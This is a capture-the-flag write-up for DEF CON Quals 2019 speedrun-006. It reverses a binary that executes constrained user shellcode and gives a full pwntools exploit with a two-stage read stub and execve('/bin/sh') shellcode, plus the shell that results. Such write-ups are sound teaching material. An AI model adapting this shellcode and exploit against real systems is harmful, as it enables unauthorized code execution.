Defcon Quals 2019 Speedrun-006
Let's take a look at the binary:
$ file speedrun-006
speedrun-006: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=69951b1d604dac8a5508bc53540205548e7af1c1, not stripped
$ pwn checksec speedrun-006
[*] '/Hackery/defcon/s6/speedrun-006'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
$ ./speedrun-006
How good are you around the corners?
Send me your ride
15935728
You ain't ready.
guyinatuxedo@tux:/Hackery/defcon/s6$
SO we can see that it is a 64
bit binary with all of the standard binary mitigations, that prompts us for input when we run it. Looking at the main function in Ghidra, we see this:
undefined8 main(undefined4 uParm1,undefined8 uParm2)
{
char *pcVar1;
long in_FS_OFFSET;
undefined local_78 [80];
undefined8 local_28;
undefined4 local_1c;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_28 = uParm2;
local_1c = uParm1;
setvbuf(stdout,(char *)0x0,2,0);
pcVar1 = getenv("DEBUG");
if (pcVar1 == (char *)0x0) {
alarm(5);
}
say_hello(local_78);
get_that_shellcode();
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
Looking through the code, the get_that_shellcode
function seems to be the only thing that really interests us.
void get_that_shellcode(void)
{
long lVar1;
ssize_t bytesRead;
size_t len;
long in_FS_OFFSET;
char input [26];
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
puts("Send me your ride");
bytesRead = read(0,input,0x1a);
if ((int)bytesRead == 0x1a) {
len = strlen(input);
if (len == 0x1a) {
shellcode_it(input,0x1a);
}
else {
puts("You\'re not up to code.");
}
}
else {
puts("You ain\'t ready.");
}
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
Looking through the get_that_shellcode
function, we see that it scans in 0x1a
bytes of data into buf
. If it scans in 26
bytes (and none of them can be null bytes because it checks with a strlen
call) it will run the shellcode_it
function with our input as the argument:
/* WARNING: Could not reconcile some variable overlaps */
void shellcode_it(undefined5 *puParm1)
{
long lVar1;
undefined8 uVar2;
undefined5 uVar3;
undefined8 uVar4;
undefined8 uVar5;
undefined8 uVar6;
undefined8 uVar7;
undefined8 uVar8;
undefined8 uVar9;
undefined8 *shellcode;
long in_FS_OFFSET;
undefined2 uStack50;
undefined2 uStack48;
undefined5 uStack45;
undefined4 uStack40;
undefined4 local_24;
undefined4 uStack32;
undefined uStack28;
uVar9 = clean._40_8_;
uVar8 = clean._32_8_;
uVar7 = clean._24_8_;
uVar6 = clean._16_8_;
uVar5 = clean._8_8_;
uVar4 = clean._0_8_;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
uVar3 = *puParm1;
uStack50 = (undefined2)*(undefined4 *)(puParm1 + 1);
uStack48 = (undefined2)((uint)*(undefined4 *)(puParm1 + 1) >> 0x10);
uStack45 = (undefined5)*(undefined8 *)((long)puParm1 + 9);
uStack40 = CONCAT13(*(undefined *)((long)puParm1 + 0x11),
(int3)((ulong)*(undefined8 *)((long)puParm1 + 9) >> 0x28));
uVar2 = *(undefined8 *)((long)puParm1 + 0x12);
uStack32 = (undefined4)((ulong)uVar2 >> 0x18);
uStack28 = (undefined)((ulong)uVar2 >> 0x38);
local_24 = CONCAT31((int3)uVar2,0xcc);
shellcode = (undefined8 *)mmap((void *)0x0,0x4e,7,0x22,-1,0);
*shellcode = uVar4;
shellcode[1] = uVar5;
shellcode[2] = uVar6;
shellcode[3] = uVar7;
shellcode[4] = uVar8;
shellcode[5] = uVar9;
shellcode[6] = CONCAT26(uStack50,CONCAT15(0xcc,uVar3));
shellcode[7] = CONCAT53(uStack45,CONCAT12(0xcc,uStack48));
shellcode[8] = CONCAT44(local_24,uStack40);
*(undefined4 *)(shellcode + 9) = uStack32;
*(undefined2 *)((long)shellcode + 0x4c) = CONCAT11(0xcc,uStack28);
(*(code *)shellcode)();
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
rn *MK_FP(__FS__, 40LL) ^ v1;
}
So this function will run our shellcode. However before it does that it will alter our shellcode. It will append a bunch of xor statements before our shellcode, which will clear out all of the registers except for the rip register (this includes rsp, so we can't push/pop without crashing). In addition to that, it will insert the 0xcc
byte four times throughout our shellcode (at offsets 5, 10, 20, & 29). It may be a bit hard to tell here, however if we check with gdb it will tell us everything (that's how I reversed it when I first solved this). I will set a breakpoint for where our shellcode starts executing and look at what the shellcode is:
gef➤ b *shellcode_it+325
Breakpoint 1 at 0x9fe
gef➤ r
Starting program: /Hackery/pod/modules/crafting_shellcodePt1/defconquals19_s6/speedrun-006
How good are you around the corners?
Send me your ride
00000000
Program received signal SIGALRM, Alarm clock.
00000000000000000
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x3030303030cc3030
$rdx : 0x00007ffff7ff6000 → 0x3148e43148ed3148
$rsp : 0x00007fffffffdd10 → 0x0000001a55554bed
$rbp : 0x00007fffffffdd90 → 0x00007fffffffdde0 → 0x00007fffffffde60 → 0x0000555555554b40 → <__libc_csu_init+0> push r15
$rsi : 0x4e
$rdi : 0x0
$rip : 0x00005555555549fe → <shellcode_it+325> call rdx
$r8 : 0xffffffff
$r9 : 0x0
$r10 : 0x22
$r11 : 0x246
$r12 : 0x0000555555554790 → <_start+0> xor ebp, ebp
$r13 : 0x00007fffffffdf40 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdd10│+0x0000: 0x0000001a55554bed ← $rsp
0x00007fffffffdd18│+0x0008: 0x00007fffffffddb0 → "0000000000000000000000000"
0x00007fffffffdd20│+0x0010: 0x00007ffff7ff6000 → 0x3148e43148ed3148
0x00007fffffffdd28│+0x0018: 0x00007ffff7ff6000 → 0x3148e43148ed3148
0x00007fffffffdd30│+0x0020: 0x3148e43148ed3148
0x00007fffffffdd38│+0x0028: 0x48c93148db3148c0
0x00007fffffffdd40│+0x0030: 0xff3148f63148d231
0x00007fffffffdd48│+0x0038: 0x314dc9314dc0314d
──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x5555555549f1 <shellcode_it+312> mov QWORD PTR [rbp-0x68], rax
0x5555555549f5 <shellcode_it+316> mov rdx, QWORD PTR [rbp-0x68]
0x5555555549f9 <shellcode_it+320> mov eax, 0x0
→ 0x5555555549fe <shellcode_it+325> call rdx
0x555555554a00 <shellcode_it+327> nop
0x555555554a01 <shellcode_it+328> mov rax, QWORD PTR [rbp-0x8]
0x555555554a05 <shellcode_it+332> xor rax, QWORD PTR fs:0x28
0x555555554a0e <shellcode_it+341> je 0x555555554a15 <shellcode_it+348>
0x555555554a10 <shellcode_it+343> call 0x555555554730 <__stack_chk_fail@plt>
──────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
*0x7ffff7ff6000 (
$rdi = 0x0000000000000000,
$rsi = 0x000000000000004e,
$rdx = 0x00007ffff7ff6000 → 0x3148e43148ed3148
)
──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "speedrun-006", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555549fe → shellcode_it()
[#1] 0x555555554a9c → get_that_shellcode()
[#2] 0x555555554b24 → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint 1, 0x00005555555549fe in shellcode_it ()
gef➤ x/20i $rdx
0x7ffff7ff6000: xor rbp,rbp
0x7ffff7ff6003: xor rsp,rsp
0x7ffff7ff6006: xor rax,rax
0x7ffff7ff6009: xor rbx,rbx
0x7ffff7ff600c: xor rcx,rcx
0x7ffff7ff600f: xor rdx,rdx
0x7ffff7ff6012: xor rsi,rsi
0x7ffff7ff6015: xor rdi,rdi
0x7ffff7ff6018: xor r8,r8
0x7ffff7ff601b: xor r9,r9
0x7ffff7ff601e: xor r10,r10
0x7ffff7ff6021: xor r11,r11
0x7ffff7ff6024: xor r12,r12
0x7ffff7ff6027: xor r13,r13
0x7ffff7ff602a: xor r14,r14
0x7ffff7ff602d: xor r15,r15
0x7ffff7ff6030: xor BYTE PTR [rax],dh
0x7ffff7ff6032: xor BYTE PTR [rax],dh
0x7ffff7ff6034: xor ah,cl
0x7ffff7ff6036: xor BYTE PTR [rax],dh
gef➤ x/4g 0x7ffff7ff6030
0x7ffff7ff6030: 0x3030cc3030303030 0x3030303030cc3030
0x7ffff7ff6040: 0x303030cc30303030 0x0000cc0a30303030
We see that the xoring the registers to zero ends at 0x7ffff7ff60300
, which is where we can see is where our input starts (which our input was 25 0
s followed by a newline character). In addition to that, we can see that it did insert a 0xcc
byte at offsets 5, 10, 20, & 29
.
So what I ended up doing was using two sets of shellcode. The first was just to make a syscall to read to scan in additional shellcode (since the shellcode to pop a shell would be harder to fit in due to the constraints). Then I would just scan in the shellcode to pop a shell without the size / no null bytes / 0xcc inserted restrictions, and then jump to it. I tried for a little bit to just get the shell using only one set of shellcode, however I couldn't do it.
Here is the shellcode that I used to scan it in (with the 0xcc
bytes inserted). There are a lot of nops to ensure the 0xcc
don't mess with any instructions. This shellcode will scan in data with a read syscall (more info here: https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ ). Also for this, the rax
register is already set to 0x0
to specify a read syscall so we don't need to edit it. In addition to that the rdi
register is also set to 0x0
which specifies stdin as a result of the xoring that takes place before our shellcode, so the only registers we need to worry about is that of rsi
which points to where the data will be scanned in and rdx
which holds the size for the amount of data to be scanned in. For rdx
I just move in the value 0xff
which gives us more than enough room. For where to scan in our shellcode, I choose the same memory region that our shellcode runs in. The permissions on it are rwx
so we won't have a problem writing and executing to it, plus the rip
register will hold a pointer to it. Plus we have a pointer to that region in the rip
register. I just moved the contents of the rip
register (minus a little bit) into the rsi
register, then added 0x43
to it. That way it moved where the new shellcode will be scanned in past this shellcode, and we won't overwrite this shellcode with the new one. Then I just jumped to rsi
since that holds a pointer to where our new shellcode is:
gef➤ x/20i $rip
=> 0x7f6e87b34030: mov dl,0xff
0x7f6e87b34032: nop
0x7f6e87b34033: nop
0x7f6e87b34034: nop
0x7f6e87b34035: int3
0x7f6e87b34036: nop
0x7f6e87b34037: nop
0x7f6e87b34038: nop
0x7f6e87b34039: nop
0x7f6e87b3403a: int3
0x7f6e87b3403b: lea rsi,[rip+0xfffffffffffffff8] # 0x7f6e87b3403a
0x7f6e87b34042: nop
0x7f6e87b34043: nop
0x7f6e87b34044: int3
0x7f6e87b34045: add rsi,0x43
0x7f6e87b34049: syscall
0x7f6e87b3404b: jmp rsi
Then here is the shellcode I used to actually get a shell via an execve syscall to /bin/sh
(remember I couldn't use pop/push). Checking the syscall chart there are four registers we need to set. I set rax
to 0x3b
to specify an execve syscall, I set rdi
to be a ptr to /bin/sh
, and set rsi
and rdx
to zero:
gef➤ x/7i $rip
=> 0x7fc1735c607d: mov al,0x3b
0x7fc1735c607f: lea rdi,[rip+0xfffffffffffffff8] # 0x7fc1735c607e
0x7fc1735c6086: movabs rcx,0x68732f6e69622f
0x7fc1735c6090: mov QWORD PTR [rdi],rcx
0x7fc1735c6093: xor rsi,rsi
0x7fc1735c6096: xor rdx,rdx
0x7fc1735c6099: syscall
Also to assemble the assembly code into opcodes, I just used nasm. Here's an example assembling the assembly file shellcode.asm
$ cat scan.asm
[SECTION .text]
global _start
_start:
mov dl, 0xff
lea rsi, [rel $ +0xffffffffffffffff ]
add rsi, 0x43
syscall
jmp rsi
$ cat shellcode.asm
[SECTION .text]
global _start
_start:
mov al, 0x3b
lea rdi, [rel $ +0xffffffffffffffff ]
mov rcx, 0x68732f6e69622f
mov [rdi], rcx
xor rsi, rsi
xor rdx, rdx
syscall
$ nasm -f elf64 scan.asm
$ ld -o scan scan.o
$ nasm -f elf64 shellcode.asm
$ ld -o shellcode shellcode.o
$ objdump -D scan -M intel
scan: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: b2 ff mov dl,0xff
400082: 48 8d 35 f8 ff ff ff lea rsi,[rip+0xfffffffffffffff8] # 400081 <_start+0x1>
400089: 48 83 c6 43 add rsi,0x43
40008d: 0f 05 syscall
40008f: ff e6 jmp rsi
$ objdump -D shellcode -M intel
shellcode: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: b0 3b mov al,0x3b
400082: 48 8d 3d f8 ff ff ff lea rdi,[rip+0xfffffffffffffff8] # 400081 <_start+0x1>
400089: 48 b9 2f 62 69 6e 2f movabs rcx,0x68732f6e69622f
400090: 73 68 00
400093: 48 89 0f mov QWORD PTR [rdi],rcx
400096: 48 31 f6 xor rsi,rsi
400099: 48 31 d2 xor rdx,rdx
40009c: 0f 05 syscall
Putting it all together, we get the following exploit:
from pwn import *
target = process('speedrun-006')
gdb.attach(target, gdbscript='pie b *0x9fe')
'''
shellcode to scan in additional shellcode
0000000000400080 <_start>:
400080: b2 ff mov dl,0xff
400082: 48 8d 35 f8 ff ff ff lea rsi,[rip+0xfffffffffffffff8] # 400081 <_start+0x1>
400089: 48 83 c6 43 add rsi,0x43
40008d: 0f 05 syscall
40008f: ff e6 jmp rsi
'''
# mov dl,0xff
scan = "\xb2\xff"
# nops
scan += "\x90\x90\x90\x90\x90\x90\x90"
# lea rsi,[rip+0xfffffffffffffff8]
scan += "\x48\x8d\x35\xf8\xff\xff\xff"
# nops
scan += "\x90"*2
# add rsi,0x43
scan += "\x48\x83\xc6\x43"
# syscall
scan += "\x0f\x05"
# jmp rsi
scan += "\xff\xe6"
# send the shellcode, and pause to ensure input is scanned in correctly
target.send(scan)
raw_input()
'''
Secondary shellcode to pop a shell without push/pop
0000000000400080 <_start>:
400080: b0 3b mov al,0x3b
400082: 48 8d 3d f8 ff ff ff lea rdi,[rip+0xfffffffffffffff8]
400089: 48 b9 2f 62 69 6e 2f movabs rcx,0x68732f6e69622f
400090: 73 68 00
400093: 48 89 0f mov QWORD PTR [rdi],rcx
400096: 48 31 f6 xor rsi,rsi
400099: 48 31 d2 xor rdx,rdx
40009c: 0f 05 syscall
'''
# mov al,0x3b
shellcode = "\xb0\x3b"
# lea rdi,[rip+0xfffffffffffffff8]
shellcode += "\x48\x8d\x3d\xf8\xff\xff\xff"
# movabs rcx,0x68732f6e69622f
shellcode += "\x48\xb9\x2f\x62\x69\x6e\x2f"
shellcode += "\x73\x68\x00"
# mov QWORD PTR [rdi],rcx
shellcode += "\x48\x89\x0f"
#xor rsi,rsi
shellcode += "\x48\x31\xf6"
#xor rdx,rdx
shellcode += "\x48\x31\xd2"
#syscall
shellcode += "\x0f\x05"
# Send the secondary shellcode
target.send(shellcode)
target.interactive()
When we run it:
$ python exploit.py
[!] Could not find executable 'speedrun-006' in $PATH, using './speedrun-006' instead
[+] Starting local process './speedrun-006': pid 9419
[*] running in new terminal: /usr/bin/gdb -q "./speedrun-006" 9419 -x "/tmp/pwnE1hBZ0.gdb"
[+] Waiting for debugger: Done
w
[*] Switching to interactive mode
How good are you around the corners?
Send me your ride
$ w
$ w
02:12:55 up 1:35, 1 user, load average: 0.56, 0.60, 0.63
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
guyinatu :0 :0 00:40 ?xdm? 9:17 0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu
$ ls
core exploit.py readme.md scan.asm shellcode.asm speedrun-006
$
[*] Interrupted
[*] Stopped process './speedrun-006' (pid 9419)
Just like that, we got a shell. Although how I handles I/O lead to a bit of a weird exploitation process (I needed to use raw_input()
as a pause).